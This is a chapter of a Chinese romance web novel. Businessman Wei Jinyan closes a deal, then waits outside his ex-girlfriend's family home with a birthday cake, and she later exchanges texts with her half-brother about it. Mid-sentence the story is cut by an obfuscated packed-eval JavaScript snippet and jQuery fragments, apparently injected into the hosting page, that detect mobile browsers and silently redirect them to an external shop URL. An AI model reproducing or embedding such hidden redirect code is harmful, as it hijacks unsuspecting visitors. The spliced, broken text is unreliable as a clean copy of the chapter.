11. 他的温柔
作品:《他的温柔会说话》 包厢的隔音效果算不上好。
一墙之隔,魏津砚在这边也能捕捉到隔壁若隐若现的哄闹声。这种通常只有到了互相敬酒、众人谈天论阔的环节才会有。
相比之下,这边就安静得多。
魏津砚从进包厢开始便一言不发,一旁的合作商能混到和魏津砚合作的地步,察言观色的能力自然不逊色。
看得出来,这位爷今天心情不太好。
可是合作还是要谈的,合同一天没签,钞票就跟流水线上划过的泡沫一样,在分秒间蒸发。
“魏总。”
那声称呼刚落下,魏津砚刚抬起头,掌心便骤然传来一阵震动。
他随即低下头,漫不经心地瞥了眼手机屏幕。
林清淼的回复赫然映入眼帘:「不知道,你也了解她的性子。她从来不向我透露她不好的一面,更别说她公司的事儿。」
林清淼是个土生土长的京城人,说话习惯儿化音。
魏津砚盯着屏幕上那个字,忽然想起什么。
印象里高迟笙说话从没有口音,字正腔圆的,也难怪她大学时能顺利选入广播站。
他更记得,高迟笙还曾在多年前的今天,明晃晃地当着全校师生的面,在广播里点过他的名字。
她当时是这么说的:“计算机与人工智能学院的魏津砚同学,今天是你女朋友的生日,你当真还要抛下她,在实验室里泡一整夜吗?”
这段经历,距离今天,也才过去了五年。
正好五年。
过往的记忆还没来得及细细回味,现实里一道生冷刺骨的声音骤然响起,硬生生将沉浸在回忆中的他拽回了当下。
王生话里多了些许急不可耐,“魏总,我敬您一杯。”
魏津砚懒懒掀起眼皮,面上一如既往地淡定。
他端直身子,意识到自己刚刚失态了,于是扯了扯嘴角:“王总今晚的包厢位置订得真好,我敬你一杯。”
突然被点到名的王生愣了一下,不明所以地“啊”了一声。
他完全没听懂魏津砚这话的意思,但见魏津砚主动端起了酒杯,这可给足了他面子。他自然不敢拒绝,更不敢有半分懈怠。
王生和魏津砚碰杯后,自己一饮而下。
魏津砚却只是放到嘴边,嘴唇连杯壁都没碰到,便又把杯子放下。
“直接签了吧。”
“直接签?”
事情发展顺利得蹊跷,王生甚至连杯子都没来得及放下,听到这句话,震惊要远远大于确幸。
他与自己的老婆对视时,眼睛瞪得像铜铃一样。
夫妻俩都以为魏津砚在说笑。王生还想再客套几句话,谁知魏津砚又开口催促:“还是快点签吧,王总的为人,魏某还是信得过的。”
这下,王生也便不再推脱。
魏津砚在接过合同的时候,习惯性看了几个容易被人设坑的地方,没发现任何端倪后,立马在签名处洋洋洒洒签下自己的名字。
整个过程没有玩笑,没有迂回,更没有反悔。
心里的大石头落地,王生脸上乐开了花,一直在给魏津砚敬酒。
这是职场上的礼仪,魏津砚不能拒绝,不过都是摆着做样子,酒没下肚。
他今晚还要开车去一个地方,不能碰酒。
王生公司是做的医疗机械方面,他想利用工智能机器人强大的图像识别和数据分析能力,与医疗器械结合进行数据处理,提升诊断精度和效率。
这在国内已经很常见了,王生却还是很客气地对魏津砚,说了很多客套夸赞的话。
职场上不成文的规矩,合同签了也不能直接离开。
魏津砚心不在焉地搭话,又想起常年跟着他一起应酬打拼的助理向尚。
那时他的事业刚刚起步,加班也是常态。
不过他对员工向来很宽松。
比如今晚,就因为向尚要去追求女生,他二话不说便同意了。
因为今晚这个项目对于CS来说,只是一个小项目。魏津砚来应酬之前,也没让公司其他人跟着,自己一个人单枪匹马就过来了。
他曾经就因为项目错过让自己心动的月亮,后来项目失败,他也再没在深夜见到照进他心里的白月光。
真好啊,如今连助理都有对象了,他这个条件还单着。
包厢墙上的挂钟时针指过9,王生一直侃侃而谈的话题也正好结束,魏津砚见机插了句:“今晚就先到这吧,合作愉快。”
说完,他随手拿了一个新杯子,倒了一点橙汁,和王生碰杯后便一饮而下。
王生这才意识到,魏津砚今晚真的滴酒不沾。
魏津砚起身走了两步,脑海中骤然闪过一个念头,立刻刹住脚步,转头望向满脸浓妆的王夫人,“听说王夫人正在做网络电商平台,卖化妆品的?”
夫妻俩面面相觑片刻后,王夫人点头答道:“是的。”
“那请问王夫人还缺合作伙伴吗?我这里有个很不错的公司,能为您提供货源。”
“能问问是什么牌子的化妆品吗?”
“绮黛。”
高迟笙向来不爱炒作,既不愿把钱花在买广告位上,也没投资短视频做软广,绮黛这个品牌一直很低调,低调到王夫人连这个牌子的名字都没听过。
魏津砚说完后,她眉心下意识跳了一下,脸上瞬间露出为难的神色,不知该如何回应。
魏津砚心突然沉下去。
他刚要结束话题作罢,不再追问,王夫人开口了:“如果是魏总的朋友的话,合作……其实还是可以考虑一下的。”
听到断句部分,魏津砚睫毛不自觉地颤动两下。
看样子,对方像是碍于他的身份和面子,才勉强回应,字里行间都透着难以掩饰的不情愿。
魏津砚眼睫轻轻垂下,遮住眼底一闪而过的情绪。
再抬眼时,他嘴角已然勾起一抹笑。
“感谢王夫人抬爱,不过我爱的姑娘是个很要强,也很优秀的女生。我想她应该不喜欢一段合作谈拢的原因,是因为我。”
他说完便走了。
留下两人细细回味他话里的那句——
他爱的姑娘。
-
魏津砚驱车抵达高家大院附近,像从前无数次那样,在距离大院还有一段路的地方停稳车,随后拎起副驾上的蛋糕,沿着路边缓缓步行前往。
今天是高迟笙的生日,高家大门前特意精心装饰过。
可不知是不是夜风有些渗人,魏津砚站在外面又听不到里面的动静,乍一看感觉有些冷清。
高家在京城也算是有头有脸的人家,一般这样的人家都会在意家族仪式。
家里不论谁,不管身在何处,只要是家人过生日,就必须赶回来团聚,所以按理说,高迟笙大概率是在里面的。
魏津砚倚在街角那盏路灯杆旁,手提着一个蛋糕,就这样安安静静站着,可连他自己都说不上来这么做的意义是什么。
路灯灯泡裹着磨砂玻璃罩,光晕像融化的黄油般流淌在他肩线上,拉出一道利落的线条。
他一直等,大概到了十一点半,还没等到高迟笙。
刚刚出包厢时,他特地在隔壁门口停留了下,听到里面还有声音,终于开始意识到今晚可能等不到了。
他转身刚要走,身后当即传来大门拉开的声音,紧接跟着一句:“这就走了吗?”
魏津砚脚步刹住,高榆寒还在说:“今天她生日,要不要吃个蛋糕,姐夫。”
听到那个称呼,魏津砚发出一声闷哼的笑。他依旧背对着高榆寒,微微仰头看天:“谢谢,不过没有她在的生日宴会,没意义。”
身后陷入短暂的安静,空气里只剩晚风拂过枝叶的轻响。
没片刻,魏津砚便又听见高榆寒的声音传来:“那如果说,我有件事要告诉你,关于我姐的。这个理由能把你留下来了吗?”
魏津砚转过身的一瞬间,高榆寒便开口:“她公司好像出了点问题。”
他也几乎是立马接话:“我知道。”
“你怎么知道?”
魏津砚端着一副耐人寻味的表情,冲他若有似无地点了两下头,还有些卖关子:“猜的。”
高榆寒突然哑了声,嘴唇抿得紧紧的,没再往下说。
魏津砚见状,抬手将手中的蛋糕朝他面前递了递,动作平稳,语气听不出太多情绪:“蛋糕就不拿回去了,如果她今晚没回来,你吃了吧。”
高榆寒垂下眼,目光落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406557|200539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在魏津砚递来的蛋糕上。
蛋糕款式格外简洁,浅黄的奶油质地细腻,没有多余冗杂的装饰图案,唯有最上方那枚乌萨奇造型格外凸显,模样精致又醒目。
看他还没接,魏津砚开起玩笑:“就当是姐夫请你吃的,或者,替我扔了也行,这附近没有垃圾桶。”
“好。”
高许松今晚也在,所有人都在,只有寿星不在。
魏津砚说得没错。
她不在,就没意义。
高榆寒是趁着高许松发脾气、转身跑进院子催高迟笙回家的空档出的门。他原本还想着给高迟笙打个电话问问情况,没料到会先遇上魏津砚。
高榆寒刚把蛋糕提进门,一声质问劈头盖脸就砸下来。
“蛋糕谁送的。”
高许松不知何时已回到客厅,稳稳坐在沙发正中央,目光没直接落在高榆寒身上,却像带着冰碴儿似的,声音冷得让人脊背发怵。
高榆寒脑子瞬间一片空白,完全找不到圆场的理由。
可他向来习惯了和高许松唱反调,当下便硬着头皮怼了一句:“我自己买来送给她的,不行吗?”
这个理由实在拙劣。
高许松心里本就有九分怀疑,认定蛋糕是魏津砚送的。可当他瞥见蛋糕简陋的外表,浅黄奶油毫无华丽装饰,仅一枚简单的乌萨奇造型,看起来顶多值两百来块。
那九分怀疑瞬间被剩下的一分笃定压制。
以魏津砚如今的地位,若要送礼,断断不会拿出这般廉价的东西。
高许松向来习惯用物质衡量一切,仅凭外在价值便随意揣测,定夺他人的心意与为人。
高榆寒望向钟表,还剩二十分钟又是新的一天。
他丢下一句“她今晚估计不会回来了,蛋糕我就自己吃了”,便拿着蛋糕回自己房间。
高迟笙不在家,魏津砚对这京城人人趋之若鹜的高级地段,没有半分留恋,离开得干脆决绝。速度快到高榆寒都来不及跑上楼,对着他的背影拍照发给了高迟笙。
但他还是给高迟笙发了一句:「生日快乐,在忙吗?」
高迟笙从没有因为高榆寒是高许松在外的私生子讨厌他。
相反,她挺喜欢、也很心疼高榆寒。
今晚是为数不多高迟笙看到他消息,却选择直接无视的时刻。
高榆寒心里猜想,她大概是把这条消息,当成了高许松为了试探她而故意让自己发的,所以并不恼,转而找出刚才拍的蛋糕照片,发给了她。
高迟笙秒回:「扔了。」
高榆寒不可置信地盯着屏幕。
他什么都没说,她又知道是魏津砚送的了?
高榆寒无声笑了,故作跟她周转:「浪费。」
高迟笙:「就算浪费我也不需要他送的蛋糕。」
高榆寒:「我什么都没说,你就知道这个蛋糕是他送的了?」
另一边,高迟笙缩在自己的小屋里。
屋内没开主灯,只在桌角亮着一盏暖黄色小灯,昏黄的光线下,一切都显得格外安静。高榆寒的消息发来时,面前电脑屏幕角落的微信图标,轻轻闪烁了两下。
她盯着那张没点开放大的照片,整个人像陷入这片黑暗般沉寂。
乌萨奇。
这个独属于他们两个人的恋爱标记,她不想告诉第三个人。
于是她编出一个不存在的事:「我今晚应酬的时候恰巧碰到他,我们聊了两句,所以知道是他送的。」
高榆寒一直盯着手机屏幕守着她的消息,敏锐地抓住了她话里的破绽,明知故问:「我也没说这个他是哪个男人,你又自动代入他了?」
高迟笙知道自己越描越黑,索性闭嘴了。
已经过了零点,高榆寒都没再收到她的回信,却也已经大概摸清,高迟笙对魏津砚现在是什么态度。
他开始转移话题:「聊了什么?」
高迟笙一看消息就皱紧了眉头。
这小子又想套她的话!
以前怎么没发现,她这个弟弟居然这么八卦。
烦躁感瞬间涌上来,她指尖在键盘上噼里啪啦敲下一行字:「让他给我介绍个弟妹。」
高榆寒那边突然像死了一样没动静了。

